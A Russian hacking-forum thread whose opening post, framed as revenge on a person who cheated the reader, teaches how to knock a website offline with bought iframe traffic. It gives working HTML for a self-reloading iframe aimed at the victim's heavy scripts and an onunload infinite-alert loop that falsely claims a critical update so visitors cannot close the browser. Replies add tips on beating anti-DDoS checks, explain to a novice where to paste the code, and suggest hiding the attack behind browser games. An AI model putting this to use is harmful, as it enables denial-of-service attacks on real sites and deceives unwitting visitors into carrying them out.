• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Убей соседа лопатой

TrueUser

(L1) cache
Пользователь
Регистрация
13.07.2009
Сообщения
540
Реакции
2
hydrag.jpg
И снова здравствуйте, мемберы xss.pro/. Достаточно долгое время в голове бродила интересная мысль об альтернативных возможностях использования iframe трафика и вот, наконец, она перебродила в следующую статейку. Свет, зажим, скальпель, лабораторная работа начинается :yes2:

Наверное многим из нас знакомо желание (не самое лучшее с точки зрения влияния на карму :blink: ) отомстить какому нибудь уроду, который тебя кинул\наебал\развел и пр... Допустим что вам известен сайт злодея, что же можно с ним поделать?
Ну во первых можно чисто теоретически его ломануть, причем если руки растут из правильного места то своими, или же заказать взлом профи.
Во вторых это заддосить нахрен подлеца :)
Таки при отсутствии специализированных знаний влетит такое "самоудовлетворение" в копеечку. Не будем говорить о расценках на сегодняшний день, но они немаленькие однозначно.

Сегодня я вам расскажу как можно устроить пакость своими собственными руками, при этом не наступая на грабли закона.
Для этого нам потребуется с десяток собственноручно зареганных фрихостов, при этом желательно на разных доменах, немного писанины и собственно iframe трафик, который можно при особом желании прикупить за копейки.

Теперь о том как это все работает. Во первых таким способомо можно организовать только http GET DOS, по крайней мере это то что первое приходит в голову. Мы выбираем ресурсоемкие скрипты на сервере жертвы (это могут быть поисковые запросы по сайту, вывод страниц с большим количеством элементов, желательно гененрируемых скриптами и пр...) и начинаем сливать на них трафик. НО, если тупо лить фрейм, то это получится нифига не выгодно, ибо придется реально раскошелиться на такой поток.

Задача:
1. Нам нужно каким то образом более продуктивно использовать трафик
2. Необходимо увеличить качество iframe применительно для нашей задачи.

Солюшн:
Итак первое что приходит мне на ум это тупое распараллеливание одного iframe потока на десятки таких потоков, что позволяет получить с 1к iframe трафика около 10-20к настоящих заходов на сайт жертвы. Все просто, но мы пойдем дальше, для этого мы кроме распараллеливания потоков воспользуемся методом тега iframe как onLoad. Напишем такой простенький скрипт:

Код:
<iframe src="victim.html" onload="this.src='victim.html'"></iframe>
Он позволяет при окончании загрузки страницы жертвы перезагружать ее заново и так, пока не надоест :). Что же, теперь располагаем на фрихосте страничку, содержащую подобные фреймы, натравленные на ресурсоемкие скрипты жертвы. Все! Уже можно начинать сливать траф и радоваться лежащему в дауне сайту.

Но не будем спешить и прибережем денюшку. Сейчас мы попытаемся получить максимальный выхлоп с потраченных средств. Итак, я думаю очевидно что чем дольше будут перезагружаться странички с сайтом жертвы, тем более нагружен будет его сервер одним и тем же покупным iframe потоком. Существует понятие "времени жизни трафика" или "длительности сессии серфера" которые определяют время, пока будет открыта вкладка\окно с фреймом на нашу страничку. Поверьте мы можем существенно увеличить это время, правда достаточно грубым методом :)
Давайте рассмотрим код ниже:

Код:
<html>
<body onunload="alert_block()">
<script>
function alert_block()
{
	while(1)
	{
  alert('Внимание! Выполнятеся критическое обновление! Вы не можете сейчас закрыть браузер.');
	}
}
</script>
<iframe src="victim.html" onload="this.src='victim.html'"></iframe>
</body>
</html>
Как вы уже заметили кроме аццкого фрейма появились дополнительные скрипты, использующие эвент onUnLoad для тега <body>. Они позволяют нам выводить мессажбоксы пользователю с информацией о том, что на данный момент они не могут закрыть браузер, ибо он обновляется :). При всем при этом реально ничего сделать с браузером не смогут 80% пользователей ибо нативные методы работы с ним сведутся к бестолковому тыканью на кнопочку "ОК". Окажется проще открыть еще одну копию браузера а на эту по крайней мере забить, что нам и нужно!

Таким образом сегодня я вам поведал о потенциальной возможности "уложить" сайт недоброжелателя своими собственными руками и при этом сильно не тратиться. На этом лабораторная работа подошла к концу, все остальное допиливается напильником дома, а отчеты по лабе жду в виде постов :)

P.S. Все что вы собираетесь совершить злобного начитавшись эту статью остается на вашей совести (и не забывайте про свою карму :crazy: ) я лишь показал еще одну возможность развлечься в сети :) удачи!
 
а фри хост выдержит это ??
Собственно на сам фрихост нагрузка будет равна потоку покупного трафика. Все навороты будут выполняться в браузере серферов.
 
Интересный подход. И пользователя удержит на несколько десятков секунд, а кого-то и на несколько десятков минут :))

"+": Для кратковременных атак (или при наличии своего трафа) по стоимости ни с чем не сравнимо :)
"+": //-но траф можно использовать и под нормальные нужды.

"-": При хорошем объёме трафа фреймы будут быстро палиться и умирать, нежели ддос боты.
"-": Канал сложно забить
"-": При грамотном администрировании атакованный сервер достаточно просто защитить (изменить путь к скрипту и всё, а фреймы уже отданные - пропадут)

Как вариант - может смерш в браузере запускать? :)
 
смерш на стороне сервера работает. Он php.
Если рассматривать альтернативы - то нужно смотреть в сторону js или java и писать эмулятор активности пользователя. Но этот гемор посложнее чем написание ddos-бота. Да и возможностей у exe/dll больше.
 
но есть и интересные моменты нпример зашита от ддос по средствам куков итп в данном случае мы не имитируем браузер
если обычный бот просто долбит хттп запросами то тут реальный браузер который и куки примет и картинку снифера прогрузит и яву выполнит что большой + для обхода различных анти ддос =))
 
да, описался про смерш :)))

http://www.hackings.ru/publ/1-1-0-81
вот тут есть пример активного js-кода для ддоса сайта)
опять же если рандомизировать обращения, то может что и выйдет


а защита от подобного достаточно простая: перевести сайт на https, все эти атаки обломятся
 
Эм, этой схеме разве не сто лет ?
Для честности могу сказать что эта идея (как и идея написания статьи) родилась в моей бестолковой башке, и тому есть свидетели :). Это чтоб ненароком меня за плагиат не прихватили :P
 
Я же не говорю, что Вы писали зря =))


Однажды, на паре математического анализа, нам рассказывали, про тайваньца, который 24 года изобретал таблицу Пифагора, когда он ее изобрел, он был необычно горд собой, а когда узнал что она существует не первый век, а он потратил 24 года, он покончил жизнь самоубийством.

Так к чему это я, а к тому что в статье показан простой пример реализации древней техники, в этом ее ценность, но при этом это новое изобретение велосипеда.

Как всегда имхо =))

И в обще в России любимое занятие изобретение велосипедов=)
 
а когда узнал что она существует не первый век, а он потратил 24 года, он покончил жизнь самоубийством.
я думаю это не намек, чтобы ТС самоубился апстену :) , а призыв - еще писать интересные статьи :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Напишем такой простенький скрипт:
я прошу прощения,я только учусь. а куда то нужно написать, чтобы оно работало ?
 
я прошу прощения,я только учусь. а куда то нужно написать, чтобы оно работа
Этот кусочек кода:
<iframe src="victim.html" onload="this.src='victim.html'"></iframe>
Обозначает что мы на своем сайте загружаем код другого сайта. в общем это нужно вставлять в свой сайт. На который будет посылаться купленный трафик.
 
да уж, со временем названия статей потеряли свою креативность :)
 
я прошу прощения,я только учусь. а куда то нужно написать, чтобы оно работало ?
да, сначала надо в МВД по месту жительства заявку, а вот когда они одобрят...

а если без шуток, то суть метода в том, чтобы обычные юзера с брузерами заходя на сайты разные (твои, или где контент подконтролен тебе) где такой iframe - ддосили сайт жертвы, причём предъявить каждому в отдельности да и тебе будет нечего, это типа "несчастный случай" или "стечение обстоятельств" типа того.

кстати удержать каждого твоего юзера-помощника на сайте с iframe можно более долго и более экологично и не "кошмаря" его таблом с обновами - просто сайт надо с онлайн JavaScript игрушками (они в браузере же работают прям, у юзера, тебе это ничего не стоит таких понатырить и у себя разместить) - и пока юзер радостно часами гамает - в iframe идёт ддос какого-то веб ресурса в фоне.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх